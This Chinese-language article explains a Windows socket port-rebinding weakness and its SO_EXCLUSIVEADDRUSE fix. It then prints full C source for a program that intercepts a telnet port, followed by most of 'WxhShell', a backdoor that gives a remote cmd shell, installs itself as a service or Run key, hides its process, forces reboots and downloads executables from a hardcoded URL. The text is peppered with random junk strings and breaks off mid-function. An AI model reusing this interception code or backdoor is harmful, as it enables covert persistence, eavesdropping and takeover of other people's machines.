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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +o0yx U
7t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6rCUq
cBOt=vg,5 saddr.sin_family = AF_INET; Rz&}e@stl ,Qo:]Mj saddr.sin_addr.s_addr = htonl(INADDR_ANY); :v$)Z~ ,iZKw8]f bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c7WOcy@M ,":_CY4( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t56PzT'M #i*PwgC%_ 这意味着什么?意味着可以进行如下的攻击: \O,yWyU4 T#I}w\XlhP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4 +p1` ^q%f~m,O< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /t2H%#v{ *Utx0Me 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2FO<Z %Y (wxi! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n!Y}D:6c6 xbHI4A"Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X%B$*y5 !tx.2m*5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gv(MX
;B# FlrY Xau 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #e@[{s7 ]n:R#55A #include i3$G)W #include +t
Prqv"( #include z 9WeOs #include c]$$ap DWORD WINAPI ClientThread(LPVOID lpParam); J{XRltI+ int main() 'L{pS-+6 { Ri::Ek3qu WORD wVersionRequested; wM-H5\9n DWORD ret; )U]q{0` WSADATA wsaData; :DuEv:;v BOOL val; 6O0aGJ,H SOCKADDR_IN saddr; $j@P8<M7 SOCKADDR_IN scaddr; uI9+@oV int err; o>&pj SOCKET s; z fy(j SOCKET sc; 9d=\BBNZ int caddsize; Mdp'u$^! HANDLE mt; ~u[1Vz4#3 DWORD tid; 9Gx`[{wI9< wVersionRequested = MAKEWORD( 2, 2 ); [' iEw! err = WSAStartup( wVersionRequested, &wsaData ); x[+bLlb if ( err != 0 ) { i 2[8^o`_ printf("error!WSAStartup failed!\n"); ,&* BhUC return -1; YOvhMi } {aK3'-7 saddr.sin_family = AF_INET; )}_}D+2 q$ j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A\E ))b9+ }%42Ty saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *#?9@0b@ saddr.sin_port = htons(23); EW`WFBjj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -0NkAQrg { )?LZg<< printf("error!socket failed!\n"); >dwWqcP return -1; Lso%1M } A4KkX val = TRUE; OekE]`~w //SO_REUSEADDR选项就是可以实现端口重绑定的 'bg'^PN>z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C?<-`$0 { ']1a printf("error!setsockopt failed!\n"); nCA~=[&H return -1; REsw=P!b } I'2I'x\M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8"V1h72vcW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %`/F>` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z XU r34jF fy&u[Jd{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #nZPnc: { M}=>~TA@ ret=GetLastError(); !g#y$ printf("error!bind failed!\n"); A2P.5EN return -1; 1jPh0?BY } 2)QZYgfh listen(s,2); 5rQu^6& while(1) KAu>U3\/ { uy<b5.!- caddsize = sizeof(scaddr); G2P:|R //接受连接请求 TDy$Mv=y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t/3qD7L if(sc!=INVALID_SOCKET) 0&tr3!h\ { -<" ;|v4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {/48n83n if(mt==NULL) ,*m|Lt%;R { 'S&Zq: printf("Thread Creat Failed!\n"); G6JP3dOT break; ~HKzqGQy> } %8YUK/(|n } 8 ~Pdr]5 CloseHandle(mt); D$TpT
X\ } oMoco tQ;$ closesocket(s); O]!o|w( WSACleanup(); 'UuHyC2Ha3 return 0; E!L_"GW } J5xZLv DWORD WINAPI ClientThread(LPVOID lpParam) ]4K4Nh~ { X7tBpyi SOCKET ss = (SOCKET)lpParam; tv:
mjS SOCKET sc; 3hA5"G+7 unsigned char buf[4096]; #n|eq{fkK SOCKADDR_IN saddr; h$%h w+"4 long num; Ya!PV&"Z DWORD val; 'tX}6wurf DWORD ret; ;Qc^xIPy //如果是隐藏端口应用的话,可以在此处加一些判断 WQBV~.<Yv //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 G%K&f1q% saddr.sin_family = AF_INET; xNLgcb@v> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jq8v69fyQ saddr.sin_port = htons(23); 8{6`?qst@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -%V~1 { <B @z>V printf("error!socket failed!\n"); oc[z dIk return -1; !>GDp >0 } um2}XI val = 100; Wq}W )E if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nmyDGuzk { >Y|P+Z\7 ret = GetLastError(); pP#|: % return -1; ~|LAe-e" } kD)]\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )Z\Zw~L { /2tPd ret = GetLastError(); %D%
Ok7s}) return -1; +NeoGnj } >?ec"P%vS/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {L7+lz { o/=61K8D printf("error!socket connect failed!\n"); tOo\s&j closesocket(sc); ogJ';i/o closesocket(ss); f=7[GZoDn return -1; ,8!'jE[d } NR%_&%qQA while(1) S/YHT)0x[ { \zOsq5} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !lM.1gTTC //如果是嗅探内容的话,可以再此处进行内容分析和记录 [Ov/&jD" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :0bjPQj num = recv(ss,buf,4096,0); z$M-UxY if(num>0) 9eR";Wm]) send(sc,buf,num,0); J]Rh+@r. else if(num==0) lfr^NxO U break; mSO7 r F num = recv(sc,buf,4096,0); ^}J,;Zhu5 if(num>0) HLL=.: P send(ss,buf,num,0); pkTVQdtRG else if(num==0) ~w.y9)", break; iDltN]zS } |A+,M"F? closesocket(ss); J- 5kvQi8 closesocket(sc); e-VGJxR return 0 ; wT-Kg=-q } 0}'/3Q B^{~,' HC6v#-( `{ ========================================================== (aq-aum-I Rv.IHSQUo 下边附上一个代码,,WXhSHELL vV"I}L QcjsQTAbk ========================================================== NH*"AE; 7Rc>LI*
' #include "stdafx.h" UVW4KUxR vjA!+_I6 #include <stdio.h> @twi<U_ #include <string.h> [e{D #include <windows.h> _3#_6>=M #include <winsock2.h> EZT 8^m #include <winsvc.h> U_Q;WPJ #include <urlmon.h> cxx8I '+c@U~d*7 #pragma comment (lib, "Ws2_32.lib") D<WGau2H #pragma comment (lib, "urlmon.lib") {CFy
% (Bv~6tj~J #define MAX_USER 100 // 最大客户端连接数 [/<kPi #define BUF_SOCK 200 // sock buffer <)Y jVGG #define KEY_BUFF 255 // 输入 buffer 8I<j"6`+Q A.RG8" #define REBOOT 0 // 重启 `\/\C[Gg #define SHUTDOWN 1 // 关机 $FZcvo3@*S pOhjq#} #define DEF_PORT 5000 // 监听端口 ^/xb-tuV `B$Pk0>5r #define REG_LEN 16 // 注册表键长度 C 7YS>?^] #define SVC_LEN 80 // NT服务名长度 |qU~({=b R0bgt2J // 从dll定义API FL&L$#X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'QTa<Z)E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~(=5`9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1qp"D_h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J*AYZS-tSE E!>MJlA:k6 // wxhshell配置信息 \!%~(FM struct WSCFG { +k0UVZZX? int ws_port; // 监听端口 ?30pNF| char ws_passstr[REG_LEN]; // 口令 h${=gSJc int ws_autoins; // 安装标记, 1=yes 0=no _SH~.Mt_! char ws_regname[REG_LEN]; // 注册表键名 ^g.HJQ'vF char ws_svcname[REG_LEN]; // 服务名 [@]i_L[ char ws_svcdisp[SVC_LEN]; // 服务显示名 Os!x<r|r char ws_svcdesc[SVC_LEN]; // 服务描述信息 1@F>E;YjL= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X?(R!=a int ws_downexe; // 下载执行标记, 1=yes 0=no "I @akM$x char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" -KZ9TV # R char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u(PUbxJ
V xlh<}Vtp }; K~fWZT3] l% qh^0 // default Wxhshell configuration by$mD_sr struct WSCFG wscfg={DEF_PORT, rqKK89fD' "xuhuanlingzhe", M-e|$'4u 1, Z4m+GFY "Wxhshell", =c%gV]>G "Wxhshell", FV/lBWiQQ "WxhShell Service", _<l)4A3rS "Wrsky Windows CmdShell Service", o
WAy[ "Please Input Your Password: ", 7y$U$6 1, Ri*mu*r\} " http://www.wrsky.com/wxhshell.exe", =Ew77 "Wxhshell.exe" n;QFy5HB8 }; _:Jma p[;@9!t // 消息定义模块 8~O0P= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J~h9i=4<bF char *msg_ws_prompt="\n\r? for help\n\r#>"; O5:[]vIn char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; A+z}z@K char *msg_ws_ext="\n\rExit.";
1DN char *msg_ws_end="\n\rQuit.";
=NWzsRl, char *msg_ws_boot="\n\rReboot..."; G-#rWZ& char *msg_ws_poff="\n\rShutdown..."; ;qcOcm% char *msg_ws_down="\n\rSave to "; jHV)
TBr -a'D~EGB^ char *msg_ws_err="\n\rErr!"; Lzx/9PPYn char *msg_ws_ok="\n\rOK!"; N9u {)u _T;Kn'Gz(& char ExeFile[MAX_PATH]; Zm+GH^f' int nUser = 0; 98vn"=3 HANDLE handles[MAX_USER]; JZJb&q){ int OsIsNt; BHU=TK@GR '<O.J(N~4! SERVICE_STATUS serviceStatus; Kp!A
ay SERVICE_STATUS_HANDLE hServiceStatusHandle; UlPGB2B 3PkU>+.6 // 函数声明 j9BcoEl:; int Install(void); /4upw`35]
int Uninstall(void); }|nEbM]# int DownloadFile(char *sURL, SOCKET wsh); Jn9{@?? int Boot(int flag); 6.a|w}C` void HideProc(void); zXkq2\GHA int GetOsVer(void); &egP3 int Wxhshell(SOCKET wsl); <X?xr f void TalkWithClient(void *cs); CX;
m8 int CmdShell(SOCKET sock); Fz| r[
int StartFromService(void); 6p.y/LMO int StartWxhshell(LPSTR lpCmdLine); ^,J>=>,1\ 29&F_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bp4#"y2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); l-SVI9|<0 *T.V5FB0S // 数据结构和表定义 =6=l.qyYK SERVICE_TABLE_ENTRY DispatchTable[] = hW\'EJ { +6L.a3&(b {wscfg.ws_svcname, NTServiceMain}, /2 qxJvZ {NULL, NULL} }|j#C[ }; vorb? iVf> _*xY>?Aq // 自我安装 y`cL3
xr4R int Install(void) VmZDU(M { Gq7\b({= char svExeFile[MAX_PATH]; mt[ #=Yba HKEY key; gOp81) strcpy(svExeFile,ExeFile); ![eipOX HaR x(p0 // 如果是win9x系统,修改注册表设为自启动 ~RV9'v4 if(!OsIsNt) { om6`>I* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dj3,SJ*x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #fXy4iL l RegCloseKey(key); >xXq:4l>} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9j5B(_J^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XMaw:Fgr RegCloseKey(key); Z}3;Ych return 0; wp@6RJ } =!/T4Oo } $MM[`^~ } \@zoM:[sN else { \[/}Cy Yfy";C7X // 如果是NT以上系统,安装为系统服务 C\0,D9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >}d6)s| if (schSCManager!=0) fr8';Jm { $-\%%n0>6 SC_HANDLE schService = CreateService &7Xsn^opku ( ${97G# schSCManager, C%/@U[; wscfg.ws_svcname, V3/OKI\o wscfg.ws_svcdisp, 7}(YCZny5 SERVICE_ALL_ACCESS, =r&i`L{] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;x/.8fA SERVICE_AUTO_START, |_a^+!P SERVICE_ERROR_NORMAL, fS%B/h= svExeFile, "Q{7X[$$^ NULL, u=0161g NULL, U?Vik NULL, ]UZP dw1D NULL, T7 (d NULL "i!W(}x+ ); C\ 34R if (schService!=0) -1ci.4F& { IcNZUZGE CloseServiceHandle(schService); {RD9j1 CloseServiceHandle(schSCManager); f3<2531/} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BiZYGq strcat(svExeFile,wscfg.ws_svcname); tw]
l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dd4^4X`j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ho!qXS RegCloseKey(key); C k/DV return 0; .4y44: T } JYLAu4s6 } vpdT2/F CloseServiceHandle(schSCManager); I~-sBMm(w } p.,`3"C1 } .{(gku>g( d-I=xpB return 1; D8b9T.[( } -)DxF<8B H8E#r*"-m // 自我卸载 _OK!/T*FBt int Uninstall(void) m5W':vM { i{r[zA]$ HKEY key; `J;g~#/k 1TgD;qX if(!OsIsNt) { +77j2W_0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :2~2j-m RegDeleteValue(key,wscfg.ws_regname); $`L
| RegCloseKey(key); ^ JU#_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G}nj
71=H RegDeleteValue(key,wscfg.ws_regname); mw83 pU6 RegCloseKey(key); '"6*C*XS return 0; gj
}Vnv1[ } xk^`4; } /8/N } mlz|KI~\F; else { HrRw S4!B;,?AxN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }3-`e3 if (schSCManager!=0) WHRBYq_ { j(c;r> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)t,efg if (schService!=0) `mquGk|) { ]zI*}(adu if(DeleteService(schService)!=0) { ;NGSJfn CloseServiceHandle(schService); ~^o YPd52* CloseServiceHandle(schSCManager); m;vm7]5 return 0; V7k!;0u
v } HUel CloseServiceHandle(schService); ?~oc4J*>( } d[p?B-7% CloseServiceHandle(schSCManager); I"D}amuv } m4R:KjN* } $-39O3 9CZEP0i7 return 1; i~m;Ah,# } g? C<@ $Ut1vp1$ // 从指定url下载文件 DyRU$U int DownloadFile(char *sURL, SOCKET wsh) e )] { =bQ\BY# HRESULT hr; Bey9P)_Of char seps[]= "/"; o9Tsyjbj char *token; :T#f&|Gg; char *file; mqiCn]8G char myURL[MAX_PATH]; =ibKdPtTh^ char myFILE[MAX_PATH]; L;
<Pod IkQ,#Bsb[ strcpy(myURL,sURL); bFJ>+ {# token=strtok(myURL,seps); 9Wdx"g52_D while(token!=NULL) so@ijl4{Z { -hGLGF?? file=token; $8Gj9mw4e' token=strtok(NULL,seps); mD,fxm{G } q oz[x VrJf g GetCurrentDirectory(MAX_PATH,myFILE); L(HAAqRnJ strcat(myFILE, "\\"); 5$*=;ls>J strcat(myFILE, file);
~vMJ?P@ send(wsh,myFILE,strlen(myFILE),0); zSBR_N51 send(wsh,"...",3,0); F 2Mxcs*M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H)X&5E if(hr==S_OK) y`pgJO return 0; t1!>EI` else kU{a!ca4 return 1; ,/dW*B t*Z4&Sy^ } .F0Q<s9 h<g2aL21?F // 系统电源模块 Z 3-=TN int Boot(int flag) )1!0'j99. { :VX2&* HANDLE hToken; TjjR% 3 TOKEN_PRIVILEGES tkp; i`!>zl+D xQNGlVipZ@ if(OsIsNt) { p,3}A(> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y 9BKd78Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3E!3kSh| tkp.PrivilegeCount = 1; ,be$~7qS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L^Fb;sJYI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <}}u'5;^?x if(flag==REBOOT) { *d-JAE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C-^8;xd return 0; r(g#3i4Q } N^'(`"J s else { jN/snU2\0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jT4
m(j return 0; =TA8]7S~U } 7LiyA< } FMT_X else { x}O J~Yk] if(flag==REBOOT) { ]ts^h~BZ$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8>|<m'e^\r return 0; $|I hO } nHQWO
else { qU ,{jD$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p & i+i return 0; MSe>1L2= } AH^ud*3F } IB^vEY!`6_ jM>;l6l return 1; qCm8R@ } VwT&A9&{8 .RWq!Z=)3 // win9x进程隐藏模块 _D8:p>= void HideProc(void) _TbvQY { 9 6%N n
m.5!. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WdbHT|.Aj if ( hKernel != NULL ) [f]:hJi { !j9(%,PR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J$S*QCo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qa"4^s FreeLibrary(hKernel); /mK]O7O7 } A$l }&^1")2t return; pbGv\SF } tQ)l4Y 8 ;7(vqm<V2~ // 获取操作系统版本 wNMA)S int GetOsVer(void) vg5fMH9ZZ { e4;h*IQK OSVERSIONINFO winfo; 07>D G# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -~
Dn^B1^ GetVersionEx(&winfo); I:YE6${k! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !4$-.L)# return 1; ]!2[k A- else ESuP ZB return 0; '2SZ] } +ux`}L( 1/A|$t[ // 客户端句柄模块 5qkyi]/U8 int Wxhshell(SOCKET wsl) ',I$`h { sRflabl *x SOCKET wsh; _Bhd@S! struct sockaddr_in client; =P,pW DWORD myID; K~~LJU3 pAyUQe;X# while(nUser<MAX_USER) R4S))EHg { UK.=Y9 int nSize=sizeof(client); }S}%4c> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -$`q:j if(wsh==INVALID_SOCKET) return 1; 0"iQHi 2nSK}q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0SJ(Ln`0K if(handles[nUser]==0) c&"1Z/tR closesocket(wsh); h@Ix9!?+ else jgBJs^JgYG nUser++; n%6=w9.%c } H^g&e$d0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vr #o]v <SRo2rjRa return 0; 5Trc#i<\ } Iz&<rL;s a)!R4 // 关闭 socket *]ME]2qP void CloseIt(SOCKET wsh) 8x9;3{R { #y1M1O g closesocket(wsh); Jjh=zxR> nUser--; VgMuX3= ExitThread(0); 0kaMYV? } ^j<2s"S )b,FE}YX // 客户端请求句柄 hO(A_Bw void TalkWithClient(void *cs) H h%|}*f_, { (lvp-<* +l<;?yk:; SOCKET wsh=(SOCKET)cs; 3H%bbFy char pwd[SVC_LEN]; DOq"=R+ char cmd[KEY_BUFF]; DK#Tr: 7 char chr[1]; QV _aM2 int i,j; _w7yfZLv+ h-\+# .YP while (nUser < MAX_USER) { UhSaqq 5w</Ga if(wscfg.ws_passstr) { wLo<gA6; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v=-T3
n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {-yw@Kq //ZeroMemory(pwd,KEY_BUFF); >vNE3S_ i=0; !)FKF7' while(i<SVC_LEN) { J$,bsMIX :v^Od W // 设置超时 /Y| <0tq fd_set FdRead; zn5|ewl@" struct timeval TimeOut; hdYd2
j FD_ZERO(&FdRead); YH&0Vy#c$ FD_SET(wsh,&FdRead); D*ZswHT{y TimeOut.tv_sec=8; "1hFx=W+\ TimeOut.tv_usec=0; 'w_Qs~6~{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P@U2Q%\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l$C
Y
gm *Q;?p
hr if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y\E7nll:. pwd =chr[0]; ~FnY'F<35 if(chr[0]==0xd || chr[0]==0xa) { =@MJEo` D pwd=0; i_p-|I:hQ break; 6e"Lod_ L } ,m5tO i++; Bm&6 } ;t4YI7E* `?SLp // 如果是非法用户,关闭 socket ]vH:@%3U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &,$N|$yK}| } @E=77Jn[px Jl ?_GX}ZY send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^(7Qz&q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p-,Bq!aG$ *Z3b6X'e while(1) { /$|-!e<5b\ o>HGfr,N ZeroMemory(cmd,KEY_BUFF); |q
Pu*vR 2 e&M/{ // 自动支持客户端 telnet标准 "1rT>
ASWI j=0; mnU8i=v0A while(j<KEY_BUFF) { p+${_w>pl{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); euET)Ccq cmd[j]=chr[0]; b
T** y?2 if(chr[0]==0xa || chr[0]==0xd) { cpphnGj5 cmd[j]=0; C9eisUM break; ~\ v"xV } WpC9(AX5g j++; q<4{&omUJ } }bnodb^.7 4TSkm`iR // 下载文件 EEiWIf&S, if(strstr(cmd,"http://")) { DDZnNSo<JQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1tl qw if(DownloadFile(cmd,wsh)) vZXdc+2l send(wsh,msg_ws_err,strlen(msg_ws_err),0); @6H 7 else S]Aaf-X_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ZS.6{vr } i_av_I- else { ]2MX7 Y.%Vvg4z3 switch(cmd[0]) { ]^<\a=U uS!V_] // 帮助 T5wVJgN> case '?': { *O7PH1G send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M0%nGpVj> break; i\=I` Yn+ } I^G6aw // 安装 @QF;m case 'i': { Q|G|5X if(Install()) `)TgGny01 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}=r45e0K else M%7|7V<o)^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^,`
L!3 break; 'a"Uw"/p[ } uYijzHQyD // 卸载 3!i{4/ case 'r': { 3=%G{L16- if(Uninstall()) '30JJ0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^}*<q\ else 2%)~E50U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @)@tIhw break; gOy{ RE } o Va[ // 显示 wxhshell 所在路径 bl\;*.s' case 'p': { :bXTV?#0
char svExeFile[MAX_PATH]; l)V646-O,~ strcpy(svExeFile,"\n\r"); XY<KLO% strcat(svExeFile,ExeFile); UI*&@!%bzp send(wsh,svExeFile,strlen(svExeFile),0); {a(<E8-^ break; bb$1zSA } E CPSE{ // 重启 ,Qj\_vr@ case 'b': { 8#HQ05q> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n2Q?sV;m if(Boot(REBOOT)) x!u6LDq0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); e1hf{:&/G@ else { ,Bj]j -\Y closesocket(wsh); vgi`.hk ExitThread(0); .I%B$eH } juxAyds break; cG4}daK]d } BRv#` // 关机 CjJ n case 'd': {
!$<Kp6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >L$9fn/J if(Boot(SHUTDOWN)) P=X)Ktmv send(wsh,msg_ws_err,strlen(msg_ws_err),0); OXZx!h else { ScRK1 closesocket(wsh); OK2\2&G ExitThread(0); hPUZ{#;n } 1[\I9dv2 break; 61*b|.sl'# } rY)m"'puP // 获取shell *Zn,v-d case 's': { "@rHGxK CmdShell(wsh); IG~Zxn1o closesocket(wsh); ]PbwG ExitThread(0); v+CW([zAx# break;
PmT<S,}L } o%K1!' // 退出 pE$*[IvQ' case 'x': { y8]vl;88yY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <80M$a
g CloseIt(wsh); 1 K] break; ML%JTx0+Z } 0UQ
DB5u // 离开 M`xI N~ case 'q': { +y][s{A send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7r pTk&` closesocket(wsh); /K_*Drk> WSACleanup(); biVsbxYurq exit(1); Gi&/`vm break; (V"7H } @9\E } EdZNmL3cB } xFyBF[c TBgiA}|\D // 提示信息 fqn;,!D?9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _V` QvnT} } ~L.5;8a3Pe } ZQmg;L&7 <lWBhrz return; ~u r}6T } x_= 3!) A64c,Uv // shell模块句柄 h9rrkV9 int CmdShell(SOCKET sock) ,u14R] { uC2 5pH" STARTUPINFO si; s*vtCdrE.
ZeroMemory(&si,sizeof(si)); .C1g Dry] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pWKI^S si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #?~G\Ux0/ PROCESS_INFORMATION ProcessInfo; ,Uy~O(Ft char cmdline[]="cmd"; Po.izE!C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P+,YWp return 0; g5
y*-t } ^;@!\Rc :BblH0' // 自身启动模式 e{.P2rnh int StartFromService(void) _;-b ZH { (dym*_J typedef struct ,;yaYF6|/ { t<cWMx5ra DWORD ExitStatus; &pAmFe DWORD PebBaseAddress; S4{\5ulr7 DWORD AffinityMask; \G6V -W DWORD BasePriority; +Xmza8T9 ULONG UniqueProcessId; >9[wjB2?} ULONG InheritedFromUniqueProcessId; b+$-f:mj } PROCESS_BASIC_INFORMATION; a(x#6 T=fVD8 PROCNTQSIP NtQueryInformationProcess; Vtk}>I@% bWzUWLa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^k!u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h5[.G! ^_o:Ddz?l" HANDLE hProcess; = Ruq PROCESS_BASIC_INFORMATION pbi; !1P<A1K t0)hdX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mm N$\2 if(NULL == hInst ) return 0; 5(y Q-/6C+ ?#L5V'ZZ* g_pEnumProcessModules 